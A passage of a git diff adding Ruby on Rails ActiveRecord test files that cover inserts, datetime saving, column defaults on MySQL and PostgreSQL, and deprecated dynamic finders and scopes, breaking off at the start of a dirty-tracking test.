+ assert_sql(/LOCK IN SHARE MODE/) do
+ Person.all.merge!(:lock => 'LOCK IN SHARE MODE').find(1)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/database_statements_test.rb b/activerecord/test/cases/database_statements_test.rb
new file mode 100644
index 0000000..c689e97
--- /dev/null
+++ b/activerecord/test/cases/database_statements_test.rb
@@ -0,0 +1,19 @@
+require "cases/helper"
+
+class DatabaseStatementsTest < ActiveRecord::TestCase
+ def setup
+ @connection = ActiveRecord::Base.connection
+ end
+
+ def test_insert_should_return_the_inserted_id
+ # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
+ if current_adapter?(:OracleAdapter)
+ sequence_name = "accounts_seq"
+ id_value = @connection.next_sequence_value(sequence_name)
+ id = @connection.insert("INSERT INTO accounts (id, firm_id,credit_limit) VALUES (accounts_seq.nextval,42,5000)", nil, :id, id_value, sequence_name)
+ else
+ id = @connection.insert("INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)")
+ end
+ assert_not_nil id
+ end
+end
diff --git a/activerecord/test/cases/date_time_test.rb b/activerecord/test/cases/date_time_test.rb
new file mode 100644
index 0000000..427076b
--- /dev/null
+++ b/activerecord/test/cases/date_time_test.rb
@@ -0,0 +1,43 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/task'
+
+class DateTimeTest < ActiveRecord::TestCase
+ def test_saves_both_date_and_time
+ with_env_tz 'America/New_York' do
+ with_active_record_default_timezone :utc do
+ time_values = [1807, 2, 10, 15, 30, 45]
+ # create DateTime value with local time zone offset
+ local_offset = Rational(Time.local(*time_values).utc_offset, 86400)
+ now = DateTime.civil(*(time_values + [local_offset]))
+
+ task = Task.new
+ task.starting = now
+ task.save!
+
+ # check against Time.local, since some platforms will return a Time instead of a DateTime
+ assert_equal Time.local(*time_values), Task.find(task.id).starting
+ end
+ end
+ end
+
+ def test_assign_empty_date_time
+ task = Task.new
+ task.starting = ''
+ task.ending = nil
+ assert_nil task.starting
+ assert_nil task.ending
+ end
+
+ def test_assign_empty_date
+ topic = Topic.new
+ topic.last_read = ''
+ assert_nil topic.last_read
+ end
+
+ def test_assign_empty_time
+ topic = Topic.new
+ topic.bonus_time = ''
+ assert_nil topic.bonus_time
+ end
+end
diff --git a/activerecord/test/cases/defaults_test.rb b/activerecord/test/cases/defaults_test.rb
new file mode 100644
index 0000000..e0cf4ad
--- /dev/null
+++ b/activerecord/test/cases/defaults_test.rb
@@ -0,0 +1,189 @@
+require "cases/helper"
+require 'models/default'
+require 'models/entrant'
+
+class DefaultTest < ActiveRecord::TestCase
+ def test_nil_defaults_for_not_null_columns
+ column_defaults =
+ if current_adapter?(:MysqlAdapter) && (Mysql.client_version < 50051 || (50100..50122).include?(Mysql.client_version))
+ { 'id' => nil, 'name' => '', 'course_id' => nil }
+ else
+ { 'id' => nil, 'name' => nil, 'course_id' => nil }
+ end
+
+ column_defaults.each do |name, default|
+ column = Entrant.columns_hash[name]
+ assert !column.null, "#{name} column should be NOT NULL"
+ assert_equal default, column.default, "#{name} column should be DEFAULT #{default.inspect}"
+ end
+ end
+
+ if current_adapter?(:PostgreSQLAdapter, :FirebirdAdapter, :OpenBaseAdapter, :OracleAdapter)
+ def test_default_integers
+ default = Default.new
+ assert_instance_of Fixnum, default.positive_integer
+ assert_equal 1, default.positive_integer
+ assert_instance_of Fixnum, default.negative_integer
+ assert_equal(-1, default.negative_integer)
+ assert_instance_of BigDecimal, default.decimal_number
+ assert_equal BigDecimal.new("2.78"), default.decimal_number
+ end
+ end
+
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_multiline_default_text
+ # older postgres versions represent the default with escapes ("\\012" for a newline)
+ assert( "--- []\n\n" == Default.columns_hash['multiline_default'].default ||
+ "--- []\\012\\012" == Default.columns_hash['multiline_default'].default)
+ end
+ end
+end
+
+if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase
+ # ActiveRecord::Base#create! (and #save and other related methods) will
+ # open a new transaction. When in transactional fixtures mode, this will
+ # cause Active Record to create a new savepoint. However, since MySQL doesn't
+ # support DDL transactions, creating a table will result in any created
+ # savepoints to be automatically released. This in turn causes the savepoint
+ # release code in AbstractAdapter#transaction to fail.
+ #
+ # We don't want that to happen, so we disable transactional fixtures here.
+ self.use_transactional_fixtures = false
+
+ def using_strict(strict)
+ connection = ActiveRecord::Base.remove_connection
+ ActiveRecord::Base.establish_connection connection.merge(strict: strict)
+ yield
+ ensure
+ ActiveRecord::Base.remove_connection
+ ActiveRecord::Base.establish_connection connection
+ end
+
+ # MySQL cannot have defaults on text/blob columns. It reports the
+ # default value as null.
+ #
+ # Despite this, in non-strict mode, MySQL will use an empty string
+ # as the default value of the field, if no other value is
+ # specified.
+ #
+ # Therefore, in non-strict mode, we want column.default to report
+ # an empty string as its default, to be consistent with that.
+ #
+ # In strict mode, column.default should be nil.
+ def test_mysql_text_not_null_defaults_non_strict
+ using_strict(false) do
+ with_text_blob_not_null_table do |klass|
+ assert_equal '', klass.columns_hash['non_null_blob'].default
+ assert_equal '', klass.columns_hash['non_null_text'].default
+
+ assert_nil klass.columns_hash['null_blob'].default
+ assert_nil klass.columns_hash['null_text'].default
+
+ instance = klass.create!
+
+ assert_equal '', instance.non_null_text
+ assert_equal '', instance.non_null_blob
+
+ assert_nil instance.null_text
+ assert_nil instance.null_blob
+ end
+ end
+ end
+
+ def test_mysql_text_not_null_defaults_strict
+ using_strict(true) do
+ with_text_blob_not_null_table do |klass|
+ assert_nil klass.columns_hash['non_null_blob'].default
+ assert_nil klass.columns_hash['non_null_text'].default
+ assert_nil klass.columns_hash['null_blob'].default
+ assert_nil klass.columns_hash['null_text'].default
+
+ assert_raises(ActiveRecord::StatementInvalid) { klass.create }
+ end
+ end
+ end
+
+ def with_text_blob_not_null_table
+ klass = Class.new(ActiveRecord::Base)
+ klass.table_name = 'test_mysql_text_not_null_defaults'
+ klass.connection.create_table klass.table_name do |t|
+ t.column :non_null_text, :text, :null => false
+ t.column :non_null_blob, :blob, :null => false
+ t.column :null_text, :text, :null => true
+ t.column :null_blob, :blob, :null => true
+ end
+
+ yield klass
+ ensure
+ klass.connection.drop_table(klass.table_name) rescue nil
+ end
+
+ # MySQL uses an implicit default 0 rather than NULL unless in strict mode.
+ # We use an implicit NULL so schema.rb is compatible with other databases.
+ def test_mysql_integer_not_null_defaults
+ klass = Class.new(ActiveRecord::Base)
+ klass.table_name = 'test_integer_not_null_default_zero'
+ klass.connection.create_table klass.table_name do |t|
+ t.column :zero, :integer, :null => false, :default => 0
+ t.column :omit, :integer, :null => false
+ end
+
+ assert_equal 0, klass.columns_hash['zero'].default
+ assert !klass.columns_hash['zero'].null
+ # 0 in MySQL 4, nil in 5.
+ assert [0, nil].include?(klass.columns_hash['omit'].default)
+ assert !klass.columns_hash['omit'].null
+
+ assert_raise(ActiveRecord::StatementInvalid) { klass.create! }
+
+ assert_nothing_raised do
+ instance = klass.create!(:omit => 1)
+ assert_equal 0, instance.zero
+ assert_equal 1, instance.omit
+ end
+ ensure
+ klass.connection.drop_table(klass.table_name) rescue nil
+ end
+ end
+end
+
+if current_adapter?(:PostgreSQLAdapter)
+ class DefaultsUsingMultipleSchemasAndDomainTest < ActiveSupport::TestCase
+ def setup
+ @connection = ActiveRecord::Base.connection
+
+ @old_search_path = @connection.schema_search_path
+ @connection.schema_search_path = "schema_1, pg_catalog"
+ @connection.create_table "defaults" do |t|
+ t.text "text_col", :default => "some value"
+ t.string "string_col", :default => "some value"
+ end
+ Default.reset_column_information
+ end
+
+ def test_text_defaults_in_new_schema_when_overriding_domain
+ assert_equal "some value", Default.new.text_col, "Default of text column was not correctly parse"
+ end
+
+ def test_string_defaults_in_new_schema_when_overriding_domain
+ assert_equal "some value", Default.new.string_col, "Default of string column was not correctly parse"
+ end
+
+ def test_bpchar_defaults_in_new_schema_when_overriding_domain
+ @connection.execute "ALTER TABLE defaults ADD bpchar_col bpchar DEFAULT 'some value'"
+ Default.reset_column_information
+ assert_equal "some value", Default.new.bpchar_col, "Default of bpchar column was not correctly parse"
+ end
+
+ def test_text_defaults_after_updating_column_default
+ @connection.execute "ALTER TABLE defaults ALTER COLUMN text_col SET DEFAULT 'some text'::schema_1.text"
+ assert_equal "some text", Default.new.text_col, "Default of text column was not correctly parse after updating default using '::text' since postgreSQL will add parens to the default in db"
+ end
+
+ def teardown
+ @connection.schema_search_path = @old_search_path
+ Default.reset_column_information
+ end
+ end
+end
diff --git a/activerecord/test/cases/deprecated_dynamic_methods_test.rb b/activerecord/test/cases/deprecated_dynamic_methods_test.rb
new file mode 100644
index 0000000..8e842d8
--- /dev/null
+++ b/activerecord/test/cases/deprecated_dynamic_methods_test.rb
@@ -0,0 +1,592 @@
+# This file should be deleted when activerecord-deprecated_finders is removed as
+# a dependency.
+#
+# It is kept for now as there is some fairly nuanced behavior in the dynamic
+# finders so it is useful to keep this around to guard against regressions if
+# we need to change the code.
+
+require 'cases/helper'
+require 'models/topic'
+require 'models/reply'
+require 'models/customer'
+require 'models/post'
+require 'models/company'
+require 'models/author'
+require 'models/category'
+require 'models/comment'
+require 'models/person'
+require 'models/reader'
+
+class DeprecatedDynamicMethodsTest < ActiveRecord::TestCase
+ fixtures :topics, :customers, :companies, :accounts, :posts, :categories, :categories_posts, :authors, :people, :comments, :readers
+
+ def setup
+ @deprecation_behavior = ActiveSupport::Deprecation.behavior
+ ActiveSupport::Deprecation.behavior = :silence
+ end
+
+ def teardown
+ ActiveSupport::Deprecation.behavior = @deprecation_behavior
+ end
+
+ def test_find_all_by_one_attribute
+ topics = Topic.find_all_by_content("Have a nice day")
+ assert_equal 2, topics.size
+ assert topics.include?(topics(:first))
+
+ assert_equal [], Topic.find_all_by_title("The First Topic!!")
+ end
+
+ def test_find_all_by_one_attribute_which_is_a_symbol
+ topics = Topic.find_all_by_content("Have a nice day".to_sym)
+ assert_equal 2, topics.size
+ assert topics.include?(topics(:first))
+
+ assert_equal [], Topic.find_all_by_title("The First Topic!!")
+ end
+
+ def test_find_all_by_one_attribute_that_is_an_aggregate
+ balance = customers(:david).balance
+ assert_kind_of Money, balance
+ found_customers = Customer.find_all_by_balance(balance)
+ assert_equal 1, found_customers.size
+ assert_equal customers(:david), found_customers.first
+ end
+
+ def test_find_all_by_two_attributes_that_are_both_aggregates
+ balance = customers(:david).balance
+ address = customers(:david).address
+ assert_kind_of Money, balance
+ assert_kind_of Address, address
+ found_customers = Customer.find_all_by_balance_and_address(balance, address)
+ assert_equal 1, found_customers.size
+ assert_equal customers(:david), found_customers.first
+ end
+
+ def test_find_all_by_two_attributes_with_one_being_an_aggregate
+ balance = customers(:david).balance
+ assert_kind_of Money, balance
+ found_customers = Customer.find_all_by_balance_and_name(balance, customers(:david).name)
+ assert_equal 1, found_customers.size
+ assert_equal customers(:david), found_customers.first
+ end
+
+ def test_find_all_by_one_attribute_with_options
+ topics = Topic.find_all_by_content("Have a nice day", :order => "id DESC")
+ assert_equal topics(:first), topics.last
+
+ topics = Topic.find_all_by_content("Have a nice day", :order => "id")
+ assert_equal topics(:first), topics.first
+ end
+
+ def test_find_all_by_array_attribute
+ assert_equal 2, Topic.find_all_by_title(["The First Topic", "The Second Topic of the day"]).size
+ end
+
+ def test_find_all_by_boolean_attribute
+ topics = Topic.find_all_by_approved(false)
+ assert_equal 1, topics.size
+ assert topics.include?(topics(:first))
+
+ topics = Topic.find_all_by_approved(true)
+ assert_equal 3, topics.size
+ assert topics.include?(topics(:second))
+ end
+
+ def test_find_all_by_nil_and_not_nil_attributes
+ topics = Topic.find_all_by_last_read_and_author_name nil, "Mary"
+ assert_equal 1, topics.size
+ assert_equal "Mary", topics[0].author_name
+ end
+
+ def test_find_or_create_from_one_attribute
+ number_of_companies = Company.count
+ sig38 = Company.find_or_create_by_name("38signals")
+ assert_equal number_of_companies + 1, Company.count
+ assert_equal sig38, Company.find_or_create_by_name("38signals")
+ assert sig38.persisted?
+ end
+
+ def test_find_or_create_from_two_attributes
+ number_of_topics = Topic.count
+ another = Topic.find_or_create_by_title_and_author_name("Another topic","John")
+ assert_equal number_of_topics + 1, Topic.count
+ assert_equal another, Topic.find_or_create_by_title_and_author_name("Another topic", "John")
+ assert another.persisted?
+ end
+
+ def test_find_or_create_from_one_attribute_bang
+ number_of_companies = Company.count
+ assert_raises(ActiveRecord::RecordInvalid) { Company.find_or_create_by_name!("") }
+ assert_equal number_of_companies, Company.count
+ sig38 = Company.find_or_create_by_name!("38signals")
+ assert_equal number_of_companies + 1, Company.count
+ assert_equal sig38, Company.find_or_create_by_name!("38signals")
+ assert sig38.persisted?
+ end
+
+ def test_find_or_create_from_two_attributes_bang
+ number_of_companies = Company.count
+ assert_raises(ActiveRecord::RecordInvalid) { Company.find_or_create_by_name_and_firm_id!("", 17) }
+ assert_equal number_of_companies, Company.count
+ sig38 = Company.find_or_create_by_name_and_firm_id!("38signals", 17)
+ assert_equal number_of_companies + 1, Company.count
+ assert_equal sig38, Company.find_or_create_by_name_and_firm_id!("38signals", 17)
+ assert sig38.persisted?
+ assert_equal "38signals", sig38.name
+ assert_equal 17, sig38.firm_id
+ end
+
+ def test_find_or_create_from_two_attributes_with_one_being_an_aggregate
+ number_of_customers = Customer.count
+ created_customer = Customer.find_or_create_by_balance_and_name(Money.new(123), "Elizabeth")
+ assert_equal number_of_customers + 1, Customer.count
+ assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123), "Elizabeth")
+ assert created_customer.persisted?
+ end
+
+ def test_find_or_create_from_one_attribute_and_hash
+ number_of_companies = Company.count
+ sig38 = Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
+ assert_equal number_of_companies + 1, Company.count
+ assert_equal sig38, Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
+ assert sig38.persisted?
+ assert_equal "38signals", sig38.name
+ assert_equal 17, sig38.firm_id
+ assert_equal 23, sig38.client_of
+ end
+
+ def test_find_or_create_from_two_attributes_and_hash
+ number_of_companies = Company.count
+ sig38 = Company.find_or_create_by_name_and_firm_id({:name => "38signals", :firm_id => 17, :client_of => 23})
+ assert_equal number_of_companies + 1, Company.count
+ assert_equal sig38, Company.find_or_create_by_name_and_firm_id({:name => "38signals", :firm_id => 17, :client_of => 23})
+ assert sig38.persisted?
+ assert_equal "38signals", sig38.name
+ assert_equal 17, sig38.firm_id
+ assert_equal 23, sig38.client_of
+ end
+
+ def test_find_or_create_from_one_aggregate_attribute
+ number_of_customers = Customer.count
+ created_customer = Customer.find_or_create_by_balance(Money.new(123))
+ assert_equal number_of_customers + 1, Customer.count
+ assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123))
+ assert created_customer.persisted?
+ end
+
+ def test_find_or_create_from_one_aggregate_attribute_and_hash
+ number_of_customers = Customer.count
+ balance = Money.new(123)
+ name = "Elizabeth"
+ created_customer = Customer.find_or_create_by_balance({:balance => balance, :name => name})
+ assert_equal number_of_customers + 1, Customer.count
+ assert_equal created_customer, Customer.find_or_create_by_balance({:balance => balance, :name => name})
+ assert created_customer.persisted?
+ assert_equal balance, created_customer.balance
+ assert_equal name, created_customer.name
+ end
+
+ def test_find_or_initialize_from_one_attribute
+ sig38 = Company.find_or_initialize_by_name("38signals")
+ assert_equal "38signals", sig38.name
+ assert !sig38.persisted?
+ end
+
+ def test_find_or_initialize_from_one_aggregate_attribute
+ new_customer = Customer.find_or_initialize_by_balance(Money.new(123))
+ assert_equal 123, new_customer.balance.amount
+ assert !new_customer.persisted?
+ end
+
+ def test_find_or_initialize_from_one_attribute_should_set_attribute
+ c = Company.find_or_initialize_by_name_and_rating("Fortune 1000", 1000)
+ assert_equal "Fortune 1000", c.name
+ assert_equal 1000, c.rating
+ assert c.valid?
+ assert !c.persisted?
+ end
+
+ def test_find_or_create_from_one_attribute_should_set_attribute
+ c = Company.find_or_create_by_name_and_rating("Fortune 1000", 1000)
+ assert_equal "Fortune 1000", c.name
+ assert_equal 1000, c.rating
+ assert c.valid?
+ assert c.persisted?
+ end
+
+ def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_set_the_hash
+ c = Company.find_or_initialize_by_rating(1000, {:name => "Fortune 1000"})
+ assert_equal "Fortune 1000", c.name
+ assert_equal 1000, c.rating
+ assert c.valid?
+ assert !c.persisted?
+ end
+
+ def test_find_or_create_from_one_attribute_should_set_attribute_even_when_set_the_hash
+ c = Company.find_or_create_by_rating(1000, {:name => "Fortune 1000"})
+ assert_equal "Fortune 1000", c.name
+ assert_equal 1000, c.rating
+ assert c.valid?
+ assert c.persisted?
+ end
+
+ def test_find_or_initialize_should_set_attributes_if_given_as_block
+ c = Company.find_or_initialize_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
+ assert_equal "Fortune 1000", c.name
+ assert_equal 1000.to_f, c.rating.to_f
+ assert c.valid?
+ assert !c.persisted?
+ end
+
+ def test_find_or_create_should_set_attributes_if_given_as_block
+ c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
+ assert_equal "Fortune 1000", c.name
+ assert_equal 1000.to_f, c.rating.to_f
+ assert c.valid?
+ assert c.persisted?
+ end
+
+ def test_find_or_create_should_work_with_block_on_first_call
+ class << Company
+ undef_method(:find_or_create_by_name) if method_defined?(:find_or_create_by_name)
+ end
+ c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
+ assert_equal "Fortune 1000", c.name
+ assert_equal 1000.to_f, c.rating.to_f
+ assert c.valid?
+ assert c.persisted?
+ end
+
+ def test_find_or_initialize_from_two_attributes
+ another = Topic.find_or_initialize_by_title_and_author_name("Another topic","John")
+ assert_equal "Another topic", another.title
+ assert_equal "John", another.author_name
+ assert !another.persisted?
+ end
+
+ def test_find_or_initialize_from_two_attributes_but_passing_only_one
+ assert_raise(ArgumentError) { Topic.find_or_initialize_by_title_and_author_name("Another topic") }
+ end
+
+ def test_find_or_initialize_from_one_aggregate_attribute_and_one_not
+ new_customer = Customer.find_or_initialize_by_balance_and_name(Money.new(123), "Elizabeth")
+ assert_equal 123, new_customer.balance.amount
+ assert_equal "Elizabeth", new_customer.name
+ assert !new_customer.persisted?
+ end
+
+ def test_find_or_initialize_from_one_attribute_and_hash
+ sig38 = Company.find_or_initialize_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
+ assert_equal "38signals", sig38.name
+ assert_equal 17, sig38.firm_id
+ assert_equal 23, sig38.client_of
+ assert !sig38.persisted?
+ end
+
+ def test_find_or_initialize_from_one_aggregate_attribute_and_hash
+ balance = Money.new(123)
+ name = "Elizabeth"
+ new_customer = Customer.find_or_initialize_by_balance({:balance => balance, :name => name})
+ assert_equal balance, new_customer.balance
+ assert_equal name, new_customer.name
+ assert !new_customer.persisted?
+ end
+
+ def test_find_last_by_one_attribute
+ assert_equal Topic.last, Topic.find_last_by_title(Topic.last.title)
+ assert_nil Topic.find_last_by_title("A title with no matches")
+ end
+
+ def test_find_last_by_invalid_method_syntax
+ assert_raise(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
+ assert_raise(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
+ end
+
+ def test_find_last_by_one_attribute_with_several_options
+ assert_equal accounts(:signals37), Account.order('id DESC').where('id != ?', 3).find_last_by_credit_limit(50)
+ end
+
+ def test_find_last_by_one_missing_attribute
+ assert_raise(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
+ end
+
+ def test_find_last_by_two_attributes
+ topic = Topic.last
+ assert_equal topic, Topic.find_last_by_title_and_author_name(topic.title, topic.author_name)
+ assert_nil Topic.find_last_by_title_and_author_name(topic.title, "Anonymous")
+ end
+
+ def test_find_last_with_limit_gives_same_result_when_loaded_and_unloaded
+ scope = Topic.limit(2)
+ unloaded_last = scope.last
+ loaded_last = scope.to_a.last
+ assert_equal loaded_last, unloaded_last
+ end
+
+ def test_find_last_with_limit_and_offset_gives_same_result_when_loaded_and_unloaded
+ scope = Topic.offset(2).limit(2)
+ unloaded_last = scope.last
+ loaded_last = scope.to_a.last
+ assert_equal loaded_last, unloaded_last
+ end
+
+ def test_find_last_with_offset_gives_same_result_when_loaded_and_unloaded
+ scope = Topic.offset(3)
+ unloaded_last = scope.last
+ loaded_last = scope.to_a.last
+ assert_equal loaded_last, unloaded_last
+ end
+
+ def test_find_all_by_nil_attribute
+ topics = Topic.find_all_by_last_read nil
+ assert_equal 3, topics.size
+ assert topics.collect(&:last_read).all?(&:nil?)
+ end
+
+ def test_forwarding_to_dynamic_finders
+ welcome = Post.find(1)
+ assert_equal 4, Category.find_all_by_type('SpecialCategory').size
+ assert_equal 0, welcome.categories.find_all_by_type('SpecialCategory').size
+ assert_equal 2, welcome.categories.find_all_by_type('Category').size
+ end
+
+ def test_dynamic_find_all_should_respect_association_order
+ assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.where("type = 'Client'").to_a
+ assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.find_all_by_type('Client')
+ end
+
+ def test_dynamic_find_all_should_respect_association_limit
+ assert_equal 1, companies(:first_firm).limited_clients.where("type = 'Client'").to_a.length
+ assert_equal 1, companies(:first_firm).limited_clients.find_all_by_type('Client').length
+ end
+
+ def test_dynamic_find_all_limit_should_override_association_limit
+ assert_equal 2, companies(:first_firm).limited_clients.where("type = 'Client'").limit(9_000).to_a.length
+ assert_equal 2, companies(:first_firm).limited_clients.find_all_by_type('Client', :limit => 9_000).length
+ end
+
+ def test_dynamic_find_last_without_specified_order
+ assert_equal companies(:second_client), companies(:first_firm).unsorted_clients.find_last_by_type('Client')
+ end
+
+ def test_dynamic_find_or_create_from_two_attributes_using_an_association
+ author = authors(:david)
+ number_of_posts = Post.count
+ another = author.posts.find_or_create_by_title_and_body("Another Post", "This is the Body")
+ assert_equal number_of_posts + 1, Post.count
+ assert_equal another, author.posts.find_or_create_by_title_and_body("Another Post", "This is the Body")
+ assert another.persisted?
+ end
+
+ def test_dynamic_find_all_should_respect_association_order_for_through
+ assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.where("comments.type = 'SpecialComment'").to_a
+ assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.find_all_by_type('SpecialComment')
+ end
+
+ def test_dynamic_find_all_should_respect_association_limit_for_through
+ assert_equal 1, authors(:david).limited_comments.where("comments.type = 'SpecialComment'").to_a.length
+ assert_equal 1, authors(:david).limited_comments.find_all_by_type('SpecialComment').length
+ end
+
+ def test_dynamic_find_all_order_should_override_association_limit_for_through
+ assert_equal 4, authors(:david).limited_comments.where("comments.type = 'SpecialComment'").limit(9_000).to_a.length
+ assert_equal 4, authors(:david).limited_comments.find_all_by_type('SpecialComment', :limit => 9_000).length
+ end
+
+ def test_find_all_include_over_the_same_table_for_through
+ assert_equal 2, people(:michael).posts.includes(:people).to_a.length
+ end
+
+ def test_find_or_create_by_resets_cached_counters
+ person = Person.create! :first_name => 'tenderlove'
+ post = Post.first
+
+ assert_equal [], person.readers
+ assert_nil person.readers.find_by_post_id(post.id)
+
+ person.readers.find_or_create_by_post_id(post.id)
+
+ assert_equal 1, person.readers.count
+ assert_equal 1, person.readers.length
+ assert_equal post, person.readers.first.post
+ assert_equal person, person.readers.first.person
+ end
+
+ def test_find_or_initialize
+ the_client = companies(:first_firm).clients.find_or_initialize_by_name("Yet another client")
+ assert_equal companies(:first_firm).id, the_client.firm_id
+ assert_equal "Yet another client", the_client.name
+ assert !the_client.persisted?
+ end
+
+ def test_find_or_create_updates_size
+ number_of_clients = companies(:first_firm).clients.size
+ the_client = companies(:first_firm).clients.find_or_create_by_name("Yet another client")
+ assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
+ assert_equal the_client, companies(:first_firm).clients.find_or_create_by_name("Yet another client")
+ assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
+ end
+
+ def test_find_or_initialize_updates_collection_size
+ number_of_clients = companies(:first_firm).clients_of_firm.size
+ companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client")
+ assert_equal number_of_clients + 1, companies(:first_firm).clients_of_firm.size
+ end
+
+ def test_find_or_initialize_returns_the_instantiated_object
+ client = companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client")
+ assert_equal client, companies(:first_firm).clients_of_firm[-1]
+ end
+
+ def test_find_or_initialize_only_instantiates_a_single_object
+ number_of_clients = Client.count
+ companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client").save!
+ companies(:first_firm).save!
+ assert_equal number_of_clients+1, Client.count
+ end
+
+ def test_find_or_create_with_hash
+ post = authors(:david).posts.find_or_create_by_title(:title => 'Yet another post', :body => 'somebody')
+ assert_equal post, authors(:david).posts.find_or_create_by_title(:title => 'Yet another post', :body => 'somebody')
+ assert post.persisted?
+ end
+
+ def test_find_or_create_with_one_attribute_followed_by_hash
+ post = authors(:david).posts.find_or_create_by_title('Yet another post', :body => 'somebody')
+ assert_equal post, authors(:david).posts.find_or_create_by_title('Yet another post', :body => 'somebody')
+ assert post.persisted?
+ end
+
+ def test_find_or_create_should_work_with_block
+ post = authors(:david).posts.find_or_create_by_title('Yet another post') {|p| p.body = 'somebody'}
+ assert_equal post, authors(:david).posts.find_or_create_by_title('Yet another post') {|p| p.body = 'somebody'}
+ assert post.persisted?
+ end
+
+ def test_forwarding_to_dynamic_finders_2
+ welcome = Post.find(1)
+ assert_equal 4, Comment.find_all_by_type('Comment').size
+ assert_equal 2, welcome.comments.find_all_by_type('Comment').size
+ end
+
+ def test_dynamic_find_all_by_attributes
+ authors = Author.all
+
+ davids = authors.find_all_by_name('David')
+ assert_kind_of Array, davids
+ assert_equal [authors(:david)], davids
+ end
+
+ def test_dynamic_find_or_initialize_by_attributes
+ authors = Author.all
+
+ lifo = authors.find_or_initialize_by_name('Lifo')
+ assert_equal "Lifo", lifo.name
+ assert !lifo.persisted?
+
+ assert_equal authors(:david), authors.find_or_initialize_by_name(:name => 'David')
+ end
+
+ def test_dynamic_find_or_create_by_attributes
+ authors = Author.all
+
+ lifo = authors.find_or_create_by_name('Lifo')
+ assert_equal "Lifo", lifo.name
+ assert lifo.persisted?
+
+ assert_equal authors(:david), authors.find_or_create_by_name(:name => 'David')
+ end
+
+ def test_dynamic_find_or_create_by_attributes_bang
+ authors = Author.all
+
+ assert_raises(ActiveRecord::RecordInvalid) { authors.find_or_create_by_name!('') }
+
+ lifo = authors.find_or_create_by_name!('Lifo')
+ assert_equal "Lifo", lifo.name
+ assert lifo.persisted?
+
+ assert_equal authors(:david), authors.find_or_create_by_name!(:name => 'David')
+ end
+
+ def test_finder_block
+ t = Topic.first
+ found = nil
+ Topic.find_by_id(t.id) { |f| found = f }
+ assert_equal t, found
+ end
+
+ def test_finder_block_nothing_found
+ bad_id = Topic.maximum(:id) + 1
+ assert_nil Topic.find_by_id(bad_id) { |f| raise }
+ end
+
+ def test_find_returns_block_value
+ t = Topic.first
+ x = Topic.find_by_id(t.id) { |f| "hi mom!" }
+ assert_equal "hi mom!", x
+ end
+
+ def test_dynamic_finder_with_invalid_params
+ assert_raise(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
+ end
+
+ def test_find_by_one_attribute_with_order_option
+ assert_equal accounts(:signals37), Account.find_by_credit_limit(50, :order => 'id')
+ assert_equal accounts(:rails_core_account), Account.find_by_credit_limit(50, :order => 'id DESC')
+ end
+
+ def test_dynamic_find_by_attributes_should_yield_found_object
+ david = authors(:david)
+ yielded_value = nil
+ Author.find_by_name(david.name) do |author|
+ yielded_value = author
+ end
+ assert_equal david, yielded_value
+ end
+end
+
+class DynamicScopeTest < ActiveRecord::TestCase
+ fixtures :posts
+
+ def setup
+ @test_klass = Class.new(Post) do
+ def self.name; "Post"; end
+ end
+ @deprecation_behavior = ActiveSupport::Deprecation.behavior
+ ActiveSupport::Deprecation.behavior = :silence
+ end
+
+ def teardown
+ ActiveSupport::Deprecation.behavior = @deprecation_behavior
+ end
+
+ def test_dynamic_scope
+ assert_equal @test_klass.scoped_by_author_id(1).find(1), @test_klass.find(1)
+ assert_equal @test_klass.scoped_by_author_id_and_title(1, "Welcome to the weblog").first, @test_klass.all.merge!(:where => { :author_id => 1, :title => "Welcome to the weblog"}).first
+ end
+
+ def test_dynamic_scope_should_create_methods_after_hitting_method_missing
+ assert @test_klass.methods.grep(/scoped_by_type/).blank?
+ @test_klass.scoped_by_type(nil)
+ assert @test_klass.methods.grep(/scoped_by_type/).present?
+ end
+
+ def test_dynamic_scope_with_less_number_of_arguments
+ assert_raise(ArgumentError){ @test_klass.scoped_by_author_id_and_title(1) }
+ end
+end
+
+class DynamicScopeMatchTest < ActiveRecord::TestCase
+ def test_scoped_by_no_match
+ assert_nil ActiveRecord::DynamicMatchers::Method.match(nil, "not_scoped_at_all")
+ end
+
+ def test_scoped_by
+ model = stub(attribute_aliases: {})
+ match = ActiveRecord::DynamicMatchers::Method.match(model, "scoped_by_age_and_sex_and_location")
+ assert_not_nil match
+ assert_equal %w(age sex location), match.attribute_names
+ end
+end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
new file mode 100644
index 0000000..36b8703
--- /dev/null
+++ b/activerecord/test/cases/dirty_test.rb
@@ -0,0 +1,640 @@
+require 'cases/helper'
+require 'models/topic' # For booleans
+require 'models/pirate' # For timestamps
+require 'models/parrot'
+require 'models/person' # For optimistic locking
+require 'models/aircraft'
+
+class Pirate # Just reopening it, not defining it
+ attr_accessor :detected_changes_in_after_update # Boolean for if changes are detected
